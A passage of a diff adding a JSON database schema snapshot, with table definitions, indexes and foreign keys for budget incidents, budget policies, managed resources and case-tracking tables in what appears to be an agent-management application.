+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.budget_incidents": {
+      "name": "budget_incidents",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "policy_id": {
+          "name": "policy_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "scope_type": {
+          "name": "scope_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "scope_id": {
+          "name": "scope_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "metric": {
+          "name": "metric",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "window_kind": {
+          "name": "window_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "window_start": {
+          "name": "window_start",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "window_end": {
+          "name": "window_end",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "threshold_type": {
+          "name": "threshold_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "amount_limit": {
+          "name": "amount_limit",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "amount_observed": {
+          "name": "amount_observed",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'open'"
+        },
+        "approval_id": {
+          "name": "approval_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "resolved_at": {
+          "name": "resolved_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "budget_incidents_company_status_idx": {
+          "name": "budget_incidents_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "budget_incidents_company_scope_idx": {
+          "name": "budget_incidents_company_scope_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "scope_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "scope_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "budget_incidents_policy_window_threshold_idx": {
+          "name": "budget_incidents_policy_window_threshold_idx",
+          "columns": [
+            {
+              "expression": "policy_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "window_start",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "threshold_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"budget_incidents\".\"status\" <> 'dismissed'",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "budget_incidents_company_id_companies_id_fk": {
+          "name": "budget_incidents_company_id_companies_id_fk",
+          "tableFrom": "budget_incidents",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "budget_incidents_policy_id_budget_policies_id_fk": {
+          "name": "budget_incidents_policy_id_budget_policies_id_fk",
+          "tableFrom": "budget_incidents",
+          "tableTo": "budget_policies",
+          "columnsFrom": [
+            "policy_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "budget_incidents_approval_id_approvals_id_fk": {
+          "name": "budget_incidents_approval_id_approvals_id_fk",
+          "tableFrom": "budget_incidents",
+          "tableTo": "approvals",
+          "columnsFrom": [
+            "approval_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.budget_policies": {
+      "name": "budget_policies",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "scope_type": {
+          "name": "scope_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "scope_id": {
+          "name": "scope_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "metric": {
+          "name": "metric",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'billed_cents'"
+        },
+        "window_kind": {
+          "name": "window_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "amount": {
+          "name": "amount",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "warn_percent": {
+          "name": "warn_percent",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 80
+        },
+        "hard_stop_enabled": {
+          "name": "hard_stop_enabled",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": true
+        },
+        "notify_enabled": {
+          "name": "notify_enabled",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": true
+        },
+        "is_active": {
+          "name": "is_active",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": true
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "updated_by_user_id": {
+          "name": "updated_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "budget_policies_company_scope_active_idx": {
+          "name": "budget_policies_company_scope_active_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "scope_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "scope_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "is_active",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "budget_policies_company_window_idx": {
+          "name": "budget_policies_company_window_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "window_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "metric",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "budget_policies_company_scope_metric_unique_idx": {
+          "name": "budget_policies_company_scope_metric_unique_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "scope_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "scope_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "metric",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "window_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "budget_policies_company_id_companies_id_fk": {
+          "name": "budget_policies_company_id_companies_id_fk",
+          "tableFrom": "budget_policies",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.built_in_managed_resources": {
+      "name": "built_in_managed_resources",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "bundle_key": {
+          "name": "bundle_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "resource_kind": {
+          "name": "resource_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "resource_key": {
+          "name": "resource_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "resource_id": {
+          "name": "resource_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "stock_version": {
+          "name": "stock_version",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "stock_hash": {
+          "name": "stock_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "defaults_json": {
+          "name": "defaults_json",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "built_in_managed_resources_company_idx": {
+          "name": "built_in_managed_resources_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "built_in_managed_resources_resource_idx": {
+          "name": "built_in_managed_resources_resource_idx",
+          "columns": [
+            {
+              "expression": "resource_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "resource_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "built_in_managed_resources_company_bundle_resource_uq": {
+          "name": "built_in_managed_resources_company_bundle_resource_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "bundle_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "resource_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "resource_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "built_in_managed_resources_company_id_companies_id_fk": {
+          "name": "built_in_managed_resources_company_id_companies_id_fk",
+          "tableFrom": "built_in_managed_resources",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.case_attachments": {
+      "name": "case_attachments",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "case_id": {
+          "name": "case_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "asset_id": {
+          "name": "asset_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "case_attachments_company_case_idx": {
+          "name": "case_attachments_company_case_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "case_attachments_asset_uq": {
+          "name": "case_attachments_asset_uq",
+          "columns": [
+            {
+              "expression": "asset_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "case_attachments_company_id_companies_id_fk": {
+          "name": "case_attachments_company_id_companies_id_fk",
+          "tableFrom": "case_attachments",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "case_attachments_case_id_cases_id_fk": {
+          "name": "case_attachments_case_id_cases_id_fk",
+          "tableFrom": "case_attachments",
+          "tableTo": "cases",
+          "columnsFrom": [
+            "case_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "case_attachments_asset_id_assets_id_fk": {
+          "name": "case_attachments_asset_id_assets_id_fk",
+          "tableFrom": "case_attachments",
+          "tableTo": "assets",
+          "columnsFrom": [
+            "asset_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.case_documents": {
+      "name": "case_documents",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "case_id": {
+          "name": "case_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "document_id": {
+          "name": "document_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "key": {
+          "name": "key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "case_documents_company_case_key_uq": {
+          "name": "case_documents_company_case_key_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "case_documents_document_uq": {
+          "name": "case_documents_document_uq",
+          "columns": [
+            {
+              "expression": "document_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "case_documents_company_case_updated_idx": {
+          "name": "case_documents_company_case_updated_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "updated_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "case_documents_company_id_companies_id_fk": {
+          "name": "case_documents_company_id_companies_id_fk",
+          "tableFrom": "case_documents",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "case_documents_case_id_cases_id_fk": {
+          "name": "case_documents_case_id_cases_id_fk",
+          "tableFrom": "case_documents",
+          "tableTo": "cases",
+          "columnsFrom": [
+            "case_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "case_documents_document_id_documents_id_fk": {
+          "name": "case_documents_document_id_documents_id_fk",
+          "tableFrom": "case_documents",
+          "tableTo": "documents",
+          "columnsFrom": [
+            "document_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.case_events": {
+      "name": "case_events",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "case_id": {
+          "name": "case_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "kind": {
+          "name": "kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "actor_type": {
+          "name": "actor_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "actor_user_id": {
+          "name": "actor_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "actor_agent_id": {
+          "name": "actor_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "run_id": {
+          "name": "run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "payload": {
+          "name": "payload",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "case_events_case_created_idx": {
+          "name": "case_events_case_created_idx",
+          "columns": [
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "case_events_company_case_idx": {
+          "name": "case_events_company_case_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "case_events_company_id_companies_id_fk": {
+          "name": "case_events_company_id_companies_id_fk",
+          "tableFrom": "case_events",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "case_events_case_id_cases_id_fk": {
+          "name": "case_events_case_id_cases_id_fk",
+          "tableFrom": "case_events",
+          "tableTo": "cases",
+          "columnsFrom": [
+            "case_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "case_events_actor_agent_id_agents_id_fk": {
+          "name": "case_events_actor_agent_id_agents_id_fk",
+          "tableFrom": "case_events",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "actor_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "case_events_kind_check": {
+          "name": "case_events_kind_check",
+          "value": "\"case_events\".\"kind\" in (\n        'created',\n        'updated',\n        'fields_changed',\n        'status_changed',\n        'issue_linked',\n        'issue_unlinked',\n        'document_revised',\n        'child_linked',\n        'attachment_added',\n        'label_added',\n        'label_removed'\n      )"
+        },
+        "case_events_actor_type_check": {
+          "name": "case_events_actor_type_check",
+          "value": "\"case_events\".\"actor_type\" in ('user', 'agent', 'system')"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.case_issue_links": {
+      "name": "case_issue_links",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "case_id": {
+          "name": "case_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "role": {
+          "name": "role",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_by_run_id": {
+          "name": "created_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "case_issue_links_case_issue_uq": {
+          "name": "case_issue_links_case_issue_uq",
+          "columns": [
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "case_issue_links_company_case_idx": {
+          "name": "case_issue_links_company_case_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "case_issue_links_issue_idx": {
+          "name": "case_issue_links_issue_idx",
+          "columns": [
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "case_issue_links_company_id_companies_id_fk": {
+          "name": "case_issue_links_company_id_companies_id_fk",
+          "tableFrom": "case_issue_links",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "case_issue_links_case_id_cases_id_fk": {
+          "name": "case_issue_links_case_id_cases_id_fk",
+          "tableFrom": "case_issue_links",
+          "tableTo": "cases",
+          "columnsFrom": [
+            "case_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "case_issue_links_issue_id_issues_id_fk": {
+          "name": "case_issue_links_issue_id_issues_id_fk",
+          "tableFrom": "case_issue_links",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "case_issue_links_role_check": {
+          "name": "case_issue_links_role_check",
+          "value": "\"case_issue_links\".\"role\" in ('origin', 'work', 'reference')"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.case_labels": {
+      "name": "case_labels",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "case_id": {
+          "name": "case_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "label_id": {
+          "name": "label_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "case_labels_case_label_uq": {
+          "name": "case_labels_case_label_uq",
+          "columns": [
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "label_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "case_labels_company_case_idx": {
+          "name": "case_labels_company_case_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "case_labels_label_idx": {
+          "name": "case_labels_label_idx",
+          "columns": [
+            {
+              "expression": "label_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "case_labels_company_id_companies_id_fk": {
+          "name": "case_labels_company_id_companies_id_fk",
+          "tableFrom": "case_labels",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "case_labels_case_id_cases_id_fk": {
+          "name": "case_labels_case_id_cases_id_fk",
+          "tableFrom": "case_labels",
+          "tableTo": "cases",
+          "columnsFrom": [
+            "case_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "case_labels_label_id_labels_id_fk": {
+          "name": "case_labels_label_id_labels_id_fk",
+          "tableFrom": "case_labels",
+          "tableTo": "labels",
+          "columnsFrom": [
+            "label_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.cases": {
+      "name": "cases",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "project_id": {
+          "name": "project_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "case_number": {
+          "name": "case_number",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "identifier": {
+          "name": "identifier",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
